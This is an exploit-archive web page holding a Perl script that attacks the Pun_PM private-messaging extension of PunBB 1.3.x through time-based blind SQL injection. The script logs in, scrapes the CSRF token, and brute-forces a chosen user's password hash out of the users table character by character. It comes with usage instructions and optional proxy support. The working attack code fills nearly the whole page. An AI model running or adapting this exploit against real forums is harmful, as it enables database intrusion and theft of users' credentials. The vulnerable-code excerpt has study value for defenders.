<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>PunBB &lt;= 1.3.4 Pun_PM &lt;= v1.2.6 Blind SQL Injection Vulnerability</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>=================================================================
PunBB &lt;= 1.3.4 Pun_PM &lt;= v1.2.6 Blind SQL Injection Vulnerability
=================================================================

#!/usr/bin/perl
# [0-Day] PunBB &lt;= 1.3.* Package: Pun_PM &lt;= v1.2.6 Remote Blind SQL Injection Exploit
# Author/s: Dante90, WaRWolFz Crew
# Created: 2009.07.30 after 0 days the bug was discovered.
# Crew Members: 4lasthor, Andryxxx, Cod3, Gho5t, HeRtZ, N.o.3.X, RingZero, s3rg3770, Shades Master, The:Paradox, V1R5, yeat
# Greetings To: _ nEmO _, XaDoS, Necrofiend, Lutor, vagabondo, hacku, yawn, The_Exploited, Shotokan-The Hacker, _mRkZ_,
# Chuzz, init, plucky, SaRtE, Lupo
# Thanks For Testing: BlAcK HaT, l3d
# Web Site: www.warwolfz.org
# My Wagend (Dante90): dante90wwz.altervista.org
# Unit-X Project: www.unitx.net
# —-
# Why I’ve decided to publish this?
# Because in &quot;Package: Pun_PM &lt;= v1.2.9&quot; the bug was fixed.
# —-
# DETAILS
# ./PunBB v1.3.*/extensions/pun_pm/functions.php
# LINES: 504 -&gt; 526
# function pun_pm_edit_message()
# {
# global $forum_db, $forum_user, $lang_pun_pm;
#
# $errors = array();
#
# // Verify input data
# $query = array(
# ‘SELECT’ =&gt; ‘m.id as id, m.sender_id as sender_id, m.status as status, u.username as username, m.subject as subject, m.body as body’,
# ‘FROM’ =&gt; ‘pun_pm_messages m’,
# ‘JOINS’ =&gt; array(
# array(
# ‘LEFT JOIN’ =&gt; ‘users AS u’,
# ‘ON’ =&gt; ‘(u.id = m.receiver_id)’
# ),
# ),
# ‘WHERE’ =&gt; ‘m.id = ‘.$forum_db-&gt;escape($_GET['message_id']).’ AND m.sender_id = ‘.$forum_user['id'].’ AND m.deleted_by_sender = 0′
# );
#
# ($hook = get_hook(‘pun_pm_fn_edit_message_pre_validate_query’)) ? eval($hook) : null;
#
# $result = $forum_db-&gt;query_build($query) or error(__FILE__, __LINE__);
# —-
# GET http://127.0.0.1/WaRWolFz/misc.php?section=pun_pm&amp;pmpage=write&amp;message_id=-1′
# Error – PunBB
# An error was encountered
# The error occurred on line 525 in ./WaRWolFz/extensions/pun_pm/functions.php
# Database reported: Errore di sintassi nella query SQL vicino a ‘ AND m.sender_id = 2 AND m.deleted_by_sender = 0′ linea 1 (Errno: 1064).

use strict;
use warnings;

use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;
use Time::HiRes;
use IO::Socket;

my ($UserName,$PassWord,$ID) = @ARGV;
if (@ARGV &lt; 3) {
&amp;usage();
exit();
}

my $Message = &quot;&quot;;
my $Hash = &quot;&quot;;
my ($Time,$Time_Start,$Time_End,$Response);
my ($Start,$End);
my @chars = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
my $Host = &quot;http://www.victime_site.org/path/&quot;; #Insert Victime Web Site Link
my $Method = HTTP::Request-&gt;new(GET =&gt; $Host);
my $Cookies = new HTTP::Cookies;
my $HTTP = new LWP::UserAgent(
agent =&gt; ‘Mozilla/5.0′,
max_redirect =&gt; 0,
cookie_jar =&gt; $Cookies,
) or die $!;
my $Referrer = &quot;http://www.warwolfz.org/&quot;;
my $DefaultTime = request($Referrer);

sub request {
$Referrer = $_[0];
$Method-&gt;referrer($Referrer);
$Start = Time::HiRes::time();
$Response = $HTTP-&gt;request($Method);
$Response-&gt;is_success() or die &quot;$Host : &quot;, $Response-&gt;message,&quot;n&quot;;
$End = Time::HiRes::time();
$Time = $End – $Start;
return $Time;
}

sub Blind_SQL_Jnjection {
my ($dec,$hex) = @_;
return &quot;./misc.php?section=pun_pm&amp;pmpage=write&amp;message_id=-1 OR 1!=(SELECT IF((ASCII(SUBSTRING(`password`,${dec},1))=${hex}),benchmark(200000000,CHAR(0)),0) FROM `users` WHERE `id`=${ID})–&quot;;
}

sub Clear() {
my $launch = $^O eq ‘MSWin32′ ? ‘cls’ : ‘clear’;
return system($launch);
}

sub Login() {
if ($ARGV[4] =~ /^d{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}?$/) {
$Cookies-&gt;proxy(['http', 'ftp'], ‘http://’.$ARGV[4]) or die $!;
}
my $Get = $HTTP-&gt;get($Host.’login.php’);
my $csrf_token = &quot;&quot;;
if ($Get-&gt;content =~ /type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;([a-f0-9]{1,40})/i) { #ByPassing csrf_token hidden input
$csrf_token = $1;
}
my $Login = $HTTP-&gt;post($Host.’login.php’,
[
form_sent =&gt; '1',
redirect_url =&gt; $Host.'login.php',
csrf_token =&gt; $csrf_token,
req_username =&gt; $UserName,
req_password =&gt; $PassWord,
save_pass =&gt; '1',
login =&gt; 'Login',
]) || die $!;

if ($Login-&gt;content =~ /Verrai trasferito automaticamente ad una nuova pagina in 1 secondo/i) { #English Language: You should automatically be forwarded to a new page in 1 second.
return 1;
} else {
return 0;
}
}

sub usage {
Clear();
{
print &quot; n [0-Day] PunBB &lt;= 1.3.4 Package: Pun_PM &lt;= v1.2.6 Remote Blind SQL Injection Exploitn&quot;;
print &quot; —————————————————— n&quot;;
print &quot; * USAGE: *n&quot;;
print &quot; * cd [Local Disk]:\[Directory Of Exploit]\ *n&quot;;
print &quot; * perl name_exploit.pl [username] [password] [id] *n&quot;;
print &quot; * [proxy] is optional (ex: 151.57.4.97:8080) *n&quot;;
print &quot; —————————————————— n&quot;;
print &quot; * Powered By Dante90, WaRWolFz Crew *n&quot;;
print &quot; * www.warwolfz.org – dante90_founder[at]warwolfz.org *n&quot;;
print &quot; —————————————————— n&quot;;
};
exit;
}

sub refresh {
Clear();
{
print &quot; n [0-Day] PunBB &lt;= 1.3.4 Package: Pun_PM &lt;= v1.2.6 Remote Blind SQL Injection Exploitn&quot;;
print &quot; —————————————————— n&quot;;
print &quot; * USAGE: *n&quot;;
print &quot; * cd [Local Disk]:\[Directory Of Exploit]\ *n&quot;;
print &quot; * perl name_exploit.pl [username] [password] [id] *n&quot;;
print &quot; * [proxy] is optional (ex: 151.57.4.97:8080) *n&quot;;
print &quot; —————————————————— n&quot;;
print &quot; * Powered By Dante90, WaRWolFz Crew *n&quot;;
print &quot; * www.warwolfz.org – dante90_founder[at]warwolfz.org *n&quot;;
print &quot; —————————————————— n&quot;;
};
print $_[0] .&quot;n&quot;;
print &quot; * Victime Site: &quot; . $_[1] . &quot;n&quot;;
print &quot; * Default Time: &quot; . $_[2] . &quot; secondsn&quot;;
print &quot; * BruteForcing Hash: &quot; . chr($chars[$_[3]]) . &quot;n&quot;;
print &quot; * BruteForcing N Char Hash: &quot; . $_[6] . &quot;n&quot;;
print &quot; * SQL Time: &quot; . $_[5] . &quot; secondsn&quot;;
print &quot; * Hash: &quot; . $_[4] . &quot;n&quot;;
}

sub Main(){
if (Login() == 1) {
$Message = &quot; * Logged in as: &quot;.$UserName;
} elsif (Login() == 0) {
$Message = &quot; * Login Failed.&quot;;
refresh($Message, $Host, $DefaultTime, &quot;0&quot;, $Hash, $Time, &quot;1&quot;);
print &quot; * Exploit Failed *n&quot;;
print &quot; —————————————————— n&quot;;
exit;
}
for (my $I=1; $I&lt;=40; $I++) { #N Hash characters
for (my $J=0; $J&lt;=15; $J++) { #0 -&gt; F
$Time_Start = time();
my $Get1 = $HTTP-&gt;get($Host.Blind_SQL_Jnjection($I,$chars[$J]));
$Time_End = time();
$Time = request($Referrer);
refresh($Message, $Host, $DefaultTime, $J, $Hash, $Time, $I);
if ($Time_End – $Time_Start &gt; 6) {
$Time = request($Referrer);
refresh($Message, $Host, $DefaultTime, $J, $Hash, $Time, $I);
if ($Time_End – $Time_Start &gt; 6) {
syswrite(STDOUT,chr($chars[$J]));
$Hash .= chr($chars[$J]);
$Time = request($Referrer);
refresh($Message, $Host, $DefaultTime, $J, $Hash, $Time, $I);
last;
}
}
}
if ($I == 1 &amp;&amp; length $Hash &lt; 1 &amp;&amp; !$Hash) {
print &quot; * Exploit Failed *n&quot;;
print &quot; —————————————————— n&quot;;
exit;
}
if ($I == 40) {
print &quot; * Exploit Successfully Executed *n&quot;;
print &quot; ——————————————————n &quot;;
system(&quot;pause&quot;);
}
}
}

Main();

#WaRWolFz Crew

# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-07-27]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/13487